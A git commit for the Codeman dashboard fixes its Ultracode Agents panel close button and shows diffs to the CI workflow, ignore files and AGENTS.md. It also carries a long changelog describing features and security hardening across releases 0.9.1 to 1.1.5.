fix(ultracode): (x) Close fully hides the Ultracode Agents panel

closeUltracodeAgentsPanel() only removed `open`, leaving the drawer in its
collapsed peek state (header strip still visible) — so (x) looked like a no-op.
Now also adds `hidden` (display:none), mirroring closeSubagentsPanel; does NOT
flip showUltracodeAgents (that gates the watcher + floating windows). Verified in
a real browser (post-close computed display:none). Bumps 1.1.4 -> 1.1.5.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>

.github/workflows/ci.yml

@@ -22,15 +22,75 @@ jobs:
       - name: Install dependencies
         run: npm ci
 
+      - name: Check package-lock.json version sync
+        run: npm run check:lockfile
+
       - name: Type check
         run: npm run typecheck
 
       - name: Lint
         run: npm run lint
 
+      - name: Frontend JS syntax check
+        run: npm run check:frontend-syntax
+
       - name: Format check
         run: npm run format:check
 
-# Note: The test suite is intentionally excluded from CI.
-# Tests spawn real tmux sessions and require a full system environment.
-# Run tests locally with: npx vitest run test/<file>.test.ts
+      - name: Server boot smoke test
+        run: |
+          set -u
+          if ! command -v tmux >/dev/null; then
+            sudo apt-get update -qq
+            sudo apt-get install -y tmux
+          fi
+          npx tsx src/index.ts web --port 3151 > /tmp/boot.log 2>&1 &
+          SERVER_PID=$!
+          trap "kill $SERVER_PID 2>/dev/null || true" EXIT
+          for i in $(seq 1 30); do
+            if curl -fsS http://localhost:3151/api/status -o /dev/null; then
+              echo "Server booted in ${i}s"
+              exit 0
+            fi
+            if ! kill -0 $SERVER_PID 2>/dev/null; then
+              echo "Server exited before becoming ready. Logs:"
+              cat /tmp/boot.log
+              exit 1
+            fi
+            sleep 1
+          done
+          echo "Server did not respond on /api/status within 30s. Logs:"
+          cat /tmp/boot.log
+          exit 1
+
+  test:
+    name: Unit & integration tests
+    runs-on: ubuntu-latest
+
+    steps:
+      - uses: actions/checkout@v6
+
+      - name: Setup Node.js
+        uses: actions/setup-node@v6
+        with:
+          node-version: 22
+          cache: 'npm'
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Install tmux
+        run: |
+          if ! command -v tmux >/dev/null; then
+            sudo apt-get update -qq
+            sudo apt-get install -y tmux
+          fi
+
+      - name: Run unit & integration tests
+        # Excludes the browser-driven mobile suite (test/mobile/**); see config/vitest.ci.config.ts.
+        # Safe in CI: TmuxManager no-ops all shell commands under VITEST (test/setup.ts).
+        run: npm run test:ci
+
+# Note: The browser-driven mobile suite (test/mobile/**) is excluded from CI —
+# it needs a live server + chromium + environment-specific PNG baselines.
+# Run it locally/manually. All other tests run via the `test` job above.

.gitignore

@@ -18,6 +18,10 @@ coverage/
 test/e2e/screenshots/current/
 test/e2e/screenshots/diffs/
 
+# Mobile visual regression failure artifacts
+test/mobile/snapshots/*.actual.png
+test/mobile/snapshots/*.diff.png
+
 # Logs
 *.log
 npm-debug.log*
@@ -48,7 +52,29 @@ Thumbs.db
 # Generated output
 out/
 screenshots-echo-diag/
-tools/remotion/out/
+scripts/remotion/out/
+
+# Artifacts that should not be tracked
+test-results/
+tmp/
+# Root `public` (a symlink to scripts/remotion/public — local artifact). ANCHORED
+# with a leading slash so it does NOT also match src/web/public (a bare `public`
+# would swallow the whole web UI source dir and silently un-stage any new asset
+# added there). No trailing slash so it still matches the symlink, not just dirs.
+/public
+
+# Opt-in gesture overlay runtime assets: large MediaPipe wasm + model (~27 MB)
+# fetched at build/install by scripts/fetch-gesture-assets.mjs, kept out of git.
+# (The gesture bundle itself, gesture-codeman.js, IS tracked — built from
+# packages/gesture-control source by `npm run build:gesture`.)
+src/web/public/gesture/wasm/
+src/web/public/gesture/*.task
+
+# Gesture-control workspace package build outputs (source is tracked; the
+# Codeman bundle is emitted to src/web/public/gesture/gesture-codeman.js instead).
+packages/gesture-control/dist/
+packages/gesture-control/dist-codeman/
+packages/gesture-control/.vite/
 
 # Claude Code plan tracking
 plan.json
@@ -61,3 +87,6 @@ commands
 todo.md
 @fix_plan.md
 readme-preview.mjs
+
+# Uploaded images land here under each session working dir (runtime artifact)
+.claude-images/

.prettierignore

@@ -2,8 +2,27 @@ dist/
 coverage/
 node_modules/
 src/web/public/vendor/
+src/web/public/gesture/
 src/web/public/app.js
 src/web/public/styles.css
 src/web/public/mobile.css
 src/web/public/index.html
-tools/
+# Hand-formatted public JS modules (never prettier-enforced; the new
+# check-public-assets.mjs still validates NUL bytes + JS syntax on these).
+src/web/public/constants.js
+src/web/public/image-input.js
+src/web/public/input-cjk.js
+src/web/public/keyboard-accessory.js
+src/web/public/notification-manager.js
+src/web/public/orchestrator-panel.js
+src/web/public/panels-ui.js
+src/web/public/ralph-panel.js
+src/web/public/ralph-wizard.js
+src/web/public/respawn-ui.js
+src/web/public/session-ui.js
+src/web/public/settings-ui.js
+src/web/public/sw.js
+src/web/public/terminal-ui.js
+src/web/public/voice-input.js
+src/web/public/upload.html
+scripts/remotion/

AGENTS.md

@@ -0,0 +1,16 @@
+# Repository Guidelines
+
+Canonical agent/contributor guidance for this repository lives in [CLAUDE.md](CLAUDE.md) —
+project structure, build/test/lint commands, code style, testing safety rules
+(never run the full suite inside a managed tmux session), security notes, and
+the deployment workflow are all maintained there. Please read it before making
+changes, and keep it the single source of truth rather than duplicating
+sections here.
+
+Quick pointers:
+
+- Type check: `tsc --noEmit` · Lint: `npm run lint` · Format: `npm run format:check`
+- Targeted tests only: `npm test -- test/<file>.test.ts` (bare `npm test` is unsafe in managed sessions)
+- Route tests use `app.inject()`; new tests needing ports must pick a unique `const PORT =`
+- Branch off `master` for all work; Conventional Commit-style messages (`fix(mobile): ...`)
+- Never commit secrets or local state from `~/.codeman/`

CHANGELOG.md

@@ -1,5 +1,699 @@
 # aicodeman
 
+## 1.1.5
+
+### Patch Changes
+
+- Fix: the Ultracode Agents panel's (×) Close button now fully hides the panel.
+
+  `closeUltracodeAgentsPanel()` only removed the `open` class, which drops the bottom-docked drawer to its collapsed _peek_ state (the 36px header strip stays visible) rather than closing it — so clicking (×) looked like it did nothing. It now also adds the `hidden` class (`display:none`), mirroring `closeSubagentsPanel()`. It deliberately does NOT flip the `showUltracodeAgents` setting (that also gates the run watcher and floating windows); the header launcher button reopens the panel. Verified in a real browser: after (×) the panel computes `display:none`.
+
+## 1.1.4
+
+### Patch Changes
+
+- Fix: ultracode floating run windows (and the live dock panel) now appear DURING an in-flight Workflow/ultracode run, not only after it finishes.
+
+  The Workflow runtime writes the run-state file `…/workflows/wf_<id>.json` only at completion (always a terminal status); while a run is live, its only on-disk state is the sibling `…/subagents/workflows/wf_<id>/` transcript tree. `workflow-run-watcher` previously scanned only the completion file, so it never observed a run until it was already terminal — and the floating-window auto-pop is gated on an ACTIVE run, so it never fired for a live run (the feature was effectively dead for in-flight runs).
+
+  The watcher now ALSO scans the `subagents/workflows/wf_<id>/` transcript tree and synthesizes a minimal ACTIVE run (status `running`, agent slots keyed by their `agentId` so the agent-card → live-transcript click still works, `lastActivityAt` from the newest agent/journal mtime, per-agent done/running derived from the run journal's `result` events) when no completion file exists yet. When the run finishes, the real `wf_<id>.json` supersedes the synthesized record (same runId), restoring full phase/token detail and the normal finish → 8s-grace auto-close flow. The watcher stays standalone (it never imports subagent-watcher). Verified end-to-end against a real in-flight run; adds unit coverage for live synthesis, agentId preservation, journal-derived state, empty-dir skipping, and completion-file precedence.
+
+## 1.1.3
+
+### Patch Changes
+
+- Ultracode floating run windows + a dedicated toggle to control them.
+  - **New: floating ultracode run windows.** When enabled, each active ultracode / Workflow run pops a small draggable window (like the file browser) connected by a glowing line to its originating session tab — the same connector-line idiom as subagent windows. The tab is resolved by matching the run's `sessionUuid` to a session's `claudeSessionId`. The window mirrors the live agent grid (phases, per-agent model / tokens burned / tool calls / state), auto-closes a few seconds after its run finishes, and remembers windows you explicitly dismiss so they don't re-pop. These windows are **additional to** the existing docked "Ultracode Agents" master-detail panel, which is unchanged.
+  - **New setting "Ultracode Floating Windows"** (App Settings → Display), **default OFF**, independent of the "Ultracode Agents" panel toggle. Either toggle now starts the server-side workflow-run watcher (at boot and on live settings change), so the floating windows work even with the docked panel off.
+  - Internals: new frontend module `ultracode-windows.js` (load order 15.5); ultracode connector lines are appended into the shared `#connectionLines` SVG within the existing batched read/write reflow pass in `subagent-windows.js`; new `ultracodeFloatingWindows` app-settings key in `schemas.ts`; watcher gating in `server.ts` + `system-routes.ts` now ORs both ultracode toggles.
+  - Docs: `CLAUDE.md` brought up to date for the 1.1.2 ultracode/workflow-run subsystem (Agents / Frontend / Types / Config inventories, JS load order, a Key Patterns entry) and the new floating-windows feature.
+
+## 1.1.2
+
+### Patch Changes
+
+- Ultracode/Workflow run visualization + subagent discovery fixes.
+  - **Ultracode / Workflow run visualization** (new, opt-in): App Settings → Display → "Ultracode Agents" (`showUltracodeAgents`, default OFF) adds a master-detail tab that shows ultracode / Workflow-tool runs like Claude Code's "working agents" view — the LEFT pane lists runs and their phases (selectable tasks), the RIGHT pane shows each run's agents with model, live state, tokens burned, and tool calls. Clicking an agent opens its live transcript. Backed by a new standalone workflow-run watcher that reads the per-run state JSON (stripping the heavy embedded script/result/logs so payloads stay small), exposes `GET /api/workflows` and `GET /api/workflows/:runId`, and broadcasts `workflow:run_discovered/updated/removed` SSE events. The header launcher and panel stay hidden until the setting is enabled (the setting is synced across devices, not per-device).
+  - **Subagent tracking discovery fix**: restored subagent tracking after Claude Code changed the on-disk format from `agent-*.jsonl` to `agent-*.meta.json` (background agents were showing 0). Also discovers workflow-nested subagents under `subagents/workflows/<wf>/` and hardens the meta→transcript upgrade path so an agent re-points to its `.jsonl` transcript once it appears.
+  - **File viewer**: opens audio, SVG, and other binary files the same way the attachments viewer does.
+  - **Tooling**: hardened the real-overview screenshot capture script and documented the `deviceScaleFactor` / static-cache gotchas.
+
+## 1.1.1
+
+### Patch Changes
+
+- Six reviewed contributor PRs (all adversarially reviewed and fixed before merge):
+  - **Markdown sanitizer hardened against mutation-XSS (#126).** The denylist `_sanitizeHtml` is replaced with vendored DOMPurify 3.4.8 (authentic, byte-matched to the official dist) wired via a new `sanitize-html.js` allowlist, with a fail-closed escape fallback. The curated allowlist is genuinely enforced (no `USE_PROFILES` override) so non-markdown tags and svg/math/style/script/event-handler/`javascript:` vectors are stripped while legitimate markdown survives.
+  - **Hook-event secret now required unconditionally (#127).** The `/api/hook-event` + `/api/status-telemetry` localhost bypass requires the per-instance hook secret whether or not a managed tunnel is running, closing the own-loopback-reverse-proxy gap. A self-heal refreshes pre-secret hook configs in existing cases on spawn so password-protected installs don't silently 401 their hooks. No-password loopback installs are unaffected.
+  - **`codeman doctor` dependency checker (#125).** New `doctor`/`check-deps` command probes Node, the agent CLIs, tmux, and document converters per environment (linux/darwin/win32/wsl), with grouped or `--json` output and a non-zero exit when a required tool is missing. Requires Node 22+, reports `pdftoppm` (used for PDF/Office thumbnails), and validates `--category`.
+  - **macOS Option / physical-key session shortcuts (#129).** Tab switching matches physical key codes (`e.code`) so Option+1–9 works on macOS layouts that remap Option, plus Option/Alt+`[`/`]` for previous/next session — without leaking escape sequences into the focused terminal.
+  - **Desktop session tabs auto-wrap to a second row on overflow (#128)** instead of horizontal scrolling (off when the manual two-row layout is pinned; mobile/tablet unchanged), re-evaluated on window resize.
+  - **CJK input textarea hidden on the welcome screen (#123)** so it no longer floats over the welcome overlay, and re-shown on session entry; vertical centering fixed.
+
+## 1.1.0
+
+### Minor Changes
+
+- **Plan Usage Limits chip (new).** A header chip now shows your live Claude plan usage — the 5-hour and weekly windows as a percentage — parsed from Claude Code's statusLine telemetry (CLI v2.1.80+). It's opt-in via **App Settings → Display → "Plan Usage Limits"** (default OFF). The toggle is **per-device**: turn it on at your desk without it appearing on your phone. Telemetry collection is decoupled from display, so one device's preference never affects another's, and the last-known value replays instantly on reconnect. Distinct from auto-resume (which reacts to the limit _message_) — this proactively shows the live %.
+
+  **Attachments.** New attachment history drawer to browse files referenced by a session (COD-39), plus document previews and thumbnails on attachment cards (COD-38). The header **Attachments button is now opt-in** (default OFF) via **App Settings → Display → "Attachments Button"**, per-device like the Response Viewer button.
+
+  **Settings & models.** Added Opus 4.6 options to the Claude Model picker. Removed the legacy Token Count / Show Cost header toggles and moved Plan Usage Limits to the top of the Display settings. Slimmed the Skin picker control to match its row.
+
+  **Mobile & header polish.** Restored the response-viewer (eye) button on phones; kept the phone header minimal (settings gear + lifecycle log stay in the toolbar). Added two regression guards so header controls can't silently leak onto the mobile header again — a CI-runnable static policy check plus a real-browser E2E test.
+
+## 1.0.0
+
+### Major Changes
+
+- # Codeman 1.0.0 🎉
+
+  The first stable release of Codeman — and it comes with a fresh new look.
+
+  **New: theme skins.** Codeman now ships a built-in skin switcher (App Settings → Display → Appearance):
+  - **OG Codeman** — the original look, preserved exactly.
+  - **Daylight Green** — a fresh emerald-on-slate theme.
+  - **Daylight Blue** — bright sky-blue on lifted slate (the new default).
+
+  Skins apply instantly, persist per device (with a pre-paint script so there's no flash on load), and re-theme any open terminals live. The system is built on `html[data-skin]` design tokens and self-hosted Manrope (UI) + JetBrains Mono (terminal) fonts — no external CDN, CSP-safe.
+
+  **1.0.0 milestone.** This marks the start of the stable 1.x line: the CLI, documented environment variables, and the `{ success, data }` HTTP/SSE API envelope follow semantic versioning (see `docs/versioning-policy.md`).
+
+  **Thank you to everyone who helped build Codeman.** This release is dedicated to all of our contributors for their work on the project: Ark0N, Aamer Akhter (@aakhter), Tenggan Zhang (@TeigenZhang), zhouyuan / @sunnyzhouy, jaypark, Marco Migozzi, Skúli Arnlaugsson, Aaron Fields, Loïc Sculier, and Noah Waldner (@noahwaldner). 💙
+
+## 0.9.14
+
+### Patch Changes
+
+- Security hardening for the tunnel exposure path, Codex terminal rendering fixes, and a mobile modal fix.
+
+  **Security (PR #115, COD-54/COD-55):**
+  - `/api/hook-event` localhost bypass is now gated while the managed Cloudflare tunnel is running: tunneled traffic arrives with a loopback source IP, so the bypass additionally requires a per-instance shared secret (`X-Codeman-Hook-Secret`, 256-bit, `~/.codeman/hook-secret`, mode 0600). Locally generated hook commands read the secret file at execution time via `$CODEMAN_HOOK_SECRET_FILE` (exported into every managed session's environment), so the value never lands on command lines or in case configs, and running sessions pick up a new secret without respawn. Failed presentations rate-limit in a dedicated per-IP bucket so misfiring legacy hooks can never lock out the Basic-Auth login path. With no tunnel running, behavior is unchanged.
+  - Enabling the Cloudflare tunnel now **refuses with 403** when no `CODEMAN_PASSWORD` is set (a public tunnel URL with no auth is effectively public RCE), unless `CODEMAN_ALLOW_UNAUTHENTICATED_NETWORK=1` explicitly acknowledges the exposure. The settings UI surfaces the refusal as an error toast and reverts the toggle.
+
+  **Codex rendering (PRs #116, #117):**
+  - Alt-screen toggles (`?47/?1047/?1049`), scrollback-erase (`CSI 3 J`), and mouse-tracking enables (`?1000`–`?1007`) are stripped from the Codex byte stream (live + replay), so conversation history survives tab switches and the scroll wheel scrolls the viewport instead of being hijacked. Sequences split across PTY chunk boundaries are reassembled via a small carry before stripping, so a split `?1049h` can no longer trap xterm in the scrollback-less alt buffer.
+  - Smaller 32KB first-frame write budget for Codex sessions keeps dense synchronized redraws from stalling the renderer; a 1.5s grace window after a manual scroll-up suppresses sticky-scroll so high-frequency `• Working (Ns)` status ticks no longer snap the viewport back to the bottom while reading earlier output.
+
+  **Mobile:** session-options modal raised above the fixed mobile/tablet header (z-index 1300 vs 1200) so the close button is reachable on phones; Respawn tab controls regrouped.
+
+  **Docs:** security-architecture.md updated for the secret-gated hook bypass (including the external-proxy caveat) and the tunnel password guard; README documents auto-resume on usage limit.
+
+## 0.9.13
+
+### Patch Changes
+
+- Auto-resume on usage limit ("token pause" control) plus a set of mobile-view fixes for regressions introduced in 0.9.8.
+
+  **Auto-resume on usage limit** — new opt-in checkbox at the top of the session Respawn tab (off by default). When Claude stops because a usage limit was reached, Codeman parses the reset time from the limit message, waits until the limit lifts (plus a 2-minute safety buffer), then dismisses the rate-limit dialog (Esc) and sends "continue" so the session picks its work back up automatically. All Claude Code message formats from 1.0.x through 2.1.x are recognized ("5-hour limit reached ∙ resets 8pm", "Limit reached · resets 1pm (America/Chicago) · /upgrade…", "You've hit your weekly limit · resets Mon 12:00am", weekly date forms, and the raw API `usage limit reached|<epoch>` form). Still-limited responses re-arm the scheduler (5-minute retry loop); a pending schedule persists across Codeman restarts and re-arms on boot; respawn cycles are blocked while a limit pause is active so the cycle's `/clear` cannot wipe the paused conversation. New endpoint `POST /api/sessions/:id/auto-resume`; new SSE events `session:limitPauseScheduled`, `session:limitResume`, `session:limitResumeCancelled`; toast/notification on pause and resume, plus a live "resumes at HH:MM" status line in the modal. The Respawn tab layout was also tidied: compact single-row Update/Kickstart prompt fields and a merged options row.
+
+  **Mobile fixes (0.9.8 regressions)**:
+  - **Activity-based resize arbitration** — a desktop sizing claim now only blocks a phone's resize while that desktop has actually typed within the last 90 seconds. Previously any connected desktop tab (even one abandoned hours ago) silently discarded the phone's resize with no fallback, leaving the phone rendering a desktop-width stream in a narrow terminal: mid-word wraps, tmux dot-fill rows, overdrawn garbled text, and misplaced keyboard echo. Now an idle desktop yields the pane to the phone, and the next desktop keystroke automatically restores the desktop layout ("whoever is actively using the session wins"). Phones also re-send their dimensions every 30 seconds (visible tab only, skipped while the virtual keyboard is open) so attaching under a momentarily-active desktop self-corrects.
+  - **Keyboard accessory bar and toolbar restored on iOS** — the lift offset is measured against the layout viewport (`window.innerHeight`) again instead of the keyboard-shrunken app element; on iOS the offset computed to 0, leaving both bars hidden behind the OS keyboard with a dead black gap above it.
+  - **Removed the mobile header utility ("three dots") toggle** — the header-utilities tray stays collapsed on small viewports.
+
+## 0.9.12
+
+### Patch Changes
+
+- Documentation refresh — README catches up with the Codex run mode, plus a CLAUDE.md correction.
+
+  **README (en + zh-CN)**: Codex is now listed as a third supported AI coding CLI everywhere the docs previously said "Claude Code or OpenCode": the install requirement in Quick Start (now "any combination works", linking to the official Codex CLI docs), the Windows/WSL setup note, the renamed **Multi-CLI** feature bullet (env-prefix gating now reads `CLAUDE_CODE_*` vs `OPENCODE_*` vs `CODEX_*`), the Zod schema-validation security bullet, and the architecture mermaid diagram. The header tagline was also finalized to "Claude Code • OpenCode • Codex — One Dashboard • Any Device" in both languages.
+
+  **CLAUDE.md**: fixed a stale "Local packages" line that claimed the xterm-zerolag-input local-echo overlay had a copy embedded in `app.js` — it is single-source in `packages/xterm-zerolag-input/`, bundled to the gitignored vendor file, and only consumed by `app.js`, matching the existing single-source gotcha.
+
+## 0.9.11
+
+### Patch Changes
+
+- Fix a terminal freeze on hover (catastrophic regex backtracking) and a CSP violation that disabled the terminal's anti-throttling worker.
+
+  **Tab-freezing hover bug**: the terminal link provider's `cmdPattern` (which turns `tail -f /path`-style text into clickable links) used an empty-matchable, unbounded arg group — `(?:[^\s\/]*\s+)*` — that backtracks exponentially on real Claude output, e.g. wrapped `git commit -m "$(cat <<'EOF'` heredoc lines or aligned table rows. Hovering the mouse over such a line hung the page's main thread for minutes ("page unresponsive"). The pattern now uses non-empty tokens with bounded repetition (linear time); all intended command+path link forms still match. New `test/link-provider-regex.test.ts` extracts the shipped patterns from source and pins linear-time behavior on the killer line shapes.
+
+  **Blob worker CSP fix**: `worker-src 'self' blob:` is now always present in the CSP (previously only with `CODEMAN_GESTURE=1`). The terminal's `_safeYield` anti-throttling tick worker is created from a Blob URL and was silently blocked on every install, logging a CSP violation on each page load and disabling the worker leg of the render-yield fallback chain.
+
+## 0.9.10
+
+### Patch Changes
+
+- Self-update now restarts automatically on headless Macs supervised by a system LaunchDaemon.
+
+  New `launchd-daemon` supervisor kind: when Codeman runs under a bootstrapped, KeepAlive system-level LaunchDaemon (`/Library/LaunchDaemons/com.codeman.web.plist` — the right setup for headless Macs, where LaunchAgents never start because there is no GUI login), the updater no longer ends with "Update staged — restart Codeman to apply". It restarts rootlessly: the update script kills the server PID (passed via `--server-pid`) and launchd respawns it on the freshly built `dist/`. Detection is conservative — the daemon must be bootstrapped in the system domain AND have `KeepAlive` enabled.
+
+  Also fixed: a lingering "restart Codeman to apply" status. After a manual restart of a staged update, boot reconciliation now flips `completed-needs-manual-restart` to `completed` once the running version matches the staged target, so the Updates tab stops showing the stale instruction.
+
+## 0.9.9
+
+### Patch Changes
+
+- Codex (OpenAI CLI) run mode, Claude Model picker, and response-viewer button now opt-in.
+
+  **Codex (OpenAI CLI) run mode** (#114): new `codex` session mode alongside Claude Code and OpenCode. Sessions launch the Codex CLI via tmux with secrets injected through `tmux setenv` (`OPENAI_API_KEY`/`CODEX_API_KEY`/`CODEX_HOME` — never on the command line). Supports `--model`, `resume <id>`, and `--dangerously-bypass-approvals-and-sandbox` via the `codexConfig` payload or the new App Settings → Codex CLI tab (`codexDangerouslyBypassApprovals`). Availability surfaced at `GET /api/codex/status` with an install hint when the binary is missing. Frontend gets a "Run CX" run-mode option; Respawn/Ralph options stay Claude-only (session options open on the Summary tab for external-CLI sessions). `CODEX_*` env prefix added to the env-override allowlist.
+
+  **Claude Model picker**: App Settings → Claude CLI gains a "Claude Model" select (`claudeModel` setting) that pins the model for new Claude sessions via the case's `.claude/settings.local.json` — e.g. Fable 5 (1M context), Fable 5, Opus (1M), Opus, Sonnet, Haiku. It takes precedence over the legacy 1M Opus Context toggle. Fable 5 also added to the orchestrator default/phase model dropdowns.
+
+  **Response-viewer (eye) header button is now hidden by default** — existing users who relied on it can re-enable it under App Settings → Display → Response Viewer (`showResponseViewer`, per-device setting). A new Display toggle controls its visibility.
+
+  Also: tests made immune to a set `CODEMAN_GESTURE` env var; CLAUDE.md documents the Codex run mode and the eye-button toggle.
+
+## 0.9.8
+
+### Patch Changes
+
+- Stable HTTP contract, terminal pane-buffer rework, mobile/touch fixes, and fresh-install default cleanups.
+
+  **API / v1 readiness (PR #113)**
+  - Stable HTTP contract: uniform `{success, data}` / `{success: false, error, errorCode}` response envelope across all ~134 handlers, correct HTTP status codes, and a versioned `/api/v1/*` alias of `/api/*`
+  - Post-merge adversarial audit closed 9 contract gaps (envelope/status-code stragglers), incl. `loadQuickStartCases` double-unwrap
+  - Node.js floor raised to >=22; `codeman` bin alias installed alongside `aicodeman`
+  - Security hardening: SSRF guard on the push endpoint, tmux session-name validation, documented tail-file roots
+  - Governance: SECURITY.md and a SemVer versioning policy (docs/versioning-policy.md)
+  - CI now runs the full unit/integration suite (vitest.ci.config.ts) plus a frontend JS syntax gate
+
+  **Terminal (PR #112)**
+  - tmux pane-buffer primitives and session/render reliability fixes for the terminal pipeline, with re-review findings addressed
+
+  **Mobile / touch (PR #111)**
+  - Terminal and layout fixes for touch devices: desktop focus handling, WS resize-claim wiring, CJK setting, ESC passthrough
+  - New: Esc button in the simple (default) keyboard accessory bar, next to paste — sends a real ESC to the session
+
+  **Defaults & UI**
+  - Monitor panel is now disabled by default on fresh installs (desktop previously slid it open at startup; mobile was already off). Opt in via App Settings -> Show Monitor
+  - Fixed the session-tab task badge silently failing to open the Monitor panel when it was hidden by the setting (long-broken on mobile)
+  - Local echo defaults audited and confirmed per-device: off on desktop, on for touch devices, never server-synced
+
+## 0.9.7
+
+### Patch Changes
+
+- Fix installer failure on corrupt puppeteer cache + add Simplified Chinese README.
+  - **Installer / self-update reliability**: The universal installer (`install.sh`) and the in-app self-updater (`scripts/self-update.sh`) now set `PUPPETEER_SKIP_DOWNLOAD=1` before `npm install`. `puppeteer` is a devDependency used only by `scripts/browser-comparison.mjs`; its ~150MB `chrome-headless-shell` download is never needed to build or run Codeman. Previously, a partially-downloaded browser cache (folder present, executable missing) made puppeteer refuse to re-download and abort `npm install`, which failed the entire install/update — most visibly on macOS (`mac_arm`). The download is now skipped on both paths; callers can still opt back in with `PUPPETEER_SKIP_DOWNLOAD=0`.
+  - **Docs**: Added a Simplified Chinese translation of the README (`README.zh-CN.md`) with an English/中文 language switcher in `README.md`. Refreshed the README and documented the v0.9.5 security hardening (Host-header/DNS-rebinding guard, cross-site Origin/CSRF guard, anti-CSWSH WebSocket validation).
+
+## 0.9.6
+
+### Patch Changes
+
+- Self-updater: show live progress during the slow steps so an update no longer looks frozen.
+  - The detached update runner (`scripts/self-update.sh`) now emits a heartbeat every few seconds during `npm install` and `npm run build`, refreshing the update status with the latest output line (full output is still written to the update log).
+  - App Settings → Updates now shows the live status message plus a ticking elapsed-time counter during non-terminal phases, instead of only a static phase label.
+
+  This takes effect when updating _from_ a build that includes it — the detached runner script and the polling UI are both the from-version's copies.
+
+## 0.9.5
+
+### Patch Changes
+
+- Security hardening from the 2026-06-09 adversarial review — close the remote-exploit paths that affected the default (loopback + no-password) configuration. Full report: `docs/reports/security-review-2026-06-09.md`.
+  - **Anti-DNS-rebinding Host allowlist (always on).** A new request guard rejects requests whose `Host` is a custom domain rebound to a loopback/LAN address — previously a website the operator merely visited could DNS-rebind to `127.0.0.1` and drive the entire API (arbitrary command execution, since sessions run `--dangerously-skip-permissions`). The allowlist accepts `localhost`, any bare IP literal, the bind host, `*.ts.net` / `*.trycloudflare.com` / `*.cfargotunnel.com`, the active managed tunnel, and anything in the new `CODEMAN_ALLOWED_HOSTS` env var (comma-separated; `host` or leading-dot `.suffix`).
+  - **Cross-site (CSRF) Origin guard on all state-changing requests.** Forged cross-site requests are rejected; a missing `Origin` is allowed so `curl`/CLI automation and Claude Code hooks keep working. This closes the previously CSRF-triggerable self-update, session create/input, and settings/tunnel-toggle endpoints.
+  - **`text/plain` body parser no longer JSON-parses every request body** (which let a cross-site "simple request" submit JSON with no CORS preflight). The crash-diagnostics beacon now parses its own body.
+  - **WebSocket terminal upgrade now validates `Origin`/`Host`** (blocks cross-site WebSocket hijacking that could inject keystrokes into a running agent).
+  - **Stored-XSS fix:** AI-/transcript-derived fields (tool name, tool detail, tool id, hook text) in the subagent activity panel are now HTML-escaped.
+
+  Operational note: if you front Codeman with a custom reverse-proxy domain, allow it via `CODEMAN_ALLOWED_HOSTS=host,.suffix`. Setting `CODEMAN_PASSWORD` also fully mitigates these via the existing auth hook.
+
+## 0.9.4
+
+### Patch Changes
+
+- In-app self-updater, plus the SSE-registry and security-doc changes since 0.9.3.
+
+  **New: update Codeman from the web UI (App Settings → Updates).** A "Check for updates" button asks the server to query GitHub for the latest tagged release (falling back to `git ls-remote`) and shows its release notes; "Update now" then runs the full `git checkout <tag>` → `npm install` → `npm run build` → restart cycle and streams live progress that survives the service restart (the browser polls a status file across the connection drop).
+  - **Channel:** latest tagged release (e.g. `codeman@0.9.4`), not bleeding-edge master.
+  - **Dirty working trees are auto-stashed** (`git stash`, left for you to `git stash pop`) instead of discarded.
+  - **Cross-platform restart**, detected from the running process: systemd (`systemctl --user restart codeman-web`) on Linux, launchd (`launchctl kickstart`) on macOS, or a printed manual command otherwise.
+  - **Survives its own restart:** the updater runs detached in a transient `systemd-run --user --scope` (Linux) or `setsid` session (macOS), so the restart it triggers cannot kill the build mid-flight.
+  - **Safety:** build failure rolls back to the pre-update commit (never restarts into a half-built `dist/`); the pre-restart status marker is reconciled on boot with an update-id + freshness guard so a normal reboot is not misreported as a completed update; concurrent updates are rejected (409); the runner script is staged outside the repo so `git checkout` cannot corrupt it mid-run; release tags are strictly validated before reaching the shell; `CODEMAN_DISABLE_SELF_UPDATE=1` disables the feature; non-git (npm-global) installs are detected and pointed at `npm i -g aicodeman@latest`.
+  - New endpoints: `GET /api/system/update/check`, `POST /api/system/update`, `GET /api/system/update/status`.
+
+  **Also in this release:**
+  - Sync the frontend `SSE_EVENTS` registry (`constants.js`) with the backend `sse-events.ts` so every broadcast event has a matching frontend entry.
+  - Expand `docs/security-architecture.md` with the trust model, CSP detail, and a source-file map.
+
+## 0.9.3
+
+### Patch Changes
+
+- Installer security notice + clarify gesture control stays opt-in and default-off.
+  - **Installer:** `install.sh` now prints the network-security notice as the final block of both the fresh install (one-line `curl … | bash`) and the update flow, so it stays visible to the user: Codeman binds `127.0.0.1` by default (no password needed), and the safe ways to reach it remotely (`tailscale serve` / tunnel, or `--host 0.0.0.0` + `CODEMAN_PASSWORD`), noting a non-loopback bind without a password still starts but warns loudly.
+  - **Gesture control** is **disabled by default** and is enabled only by the per-user toggle at App Settings → Display → Input → Gesture Control (`gestureControlEnabled`, default `false`). Setting `CODEMAN_GESTURE=1` on the server only makes the feature _available_ (CSP widening + same-origin `/gesture/` assets); it does **not** turn the overlay on. There is no default-on path — the bundle is injected only when a user explicitly enables the setting.
+
+## 0.9.2
+
+### Patch Changes
+
+- Vendor the gesture-control source into the repo for in-tree development.
+
+  The hand-tracking overlay's source (previously the standalone `Ark0N/codeman-gesture-control` repo) now lives at `packages/gesture-control/` as the `codeman-gesture-control` workspace package: the transport-agnostic gesture core (`src/gesture/*` — MediaPipe GestureRecognizer → One-Euro-filtered cursor → pinch state machine), the Codeman consumer entry (`src/codeman/entry.ts`, maps grab/drag/drop onto real session tabs + toolbar buttons), and a standalone vite playground for iterating on gesture feel.
+  - New `npm run build:gesture` (`scripts/build-gesture-bundle.mjs`) esbuild-bundles `entry.ts` into the served `src/web/public/gesture/gesture-codeman.js`; `scripts/build.mjs` now reruns it on every production build so the served bundle always reflects current source. The MediaPipe wasm + model stay runtime-loaded from same-origin `/gesture/` (unchanged).
+  - Added `@mediapipe/tasks-vision@0.10.21` as the package dependency (kept in sync with `fetch-gesture-assets.mjs`). The playground uses vite 7 (no known advisories).
+
+  No change to the shipped app behavior — gesture control remains opt-in (`CODEMAN_GESTURE=1` + the App Settings → Input toggle). This release just makes the overlay developable inside the Codeman repo.
+
+## 0.9.1
+
+### Patch Changes
+
+- Multi-monitor & settings UX fixes.
+  - **Multi-monitor button (remote servers):** the "span displays" button spawns `scripts/span-codeman.sh` server-side, so on a non-macOS Codeman server it can't open a window on your machine. The non-macOS API error now explains this and points to running the script locally on your Mac with the remote server URL; the script header documents the same remote-client workflow.
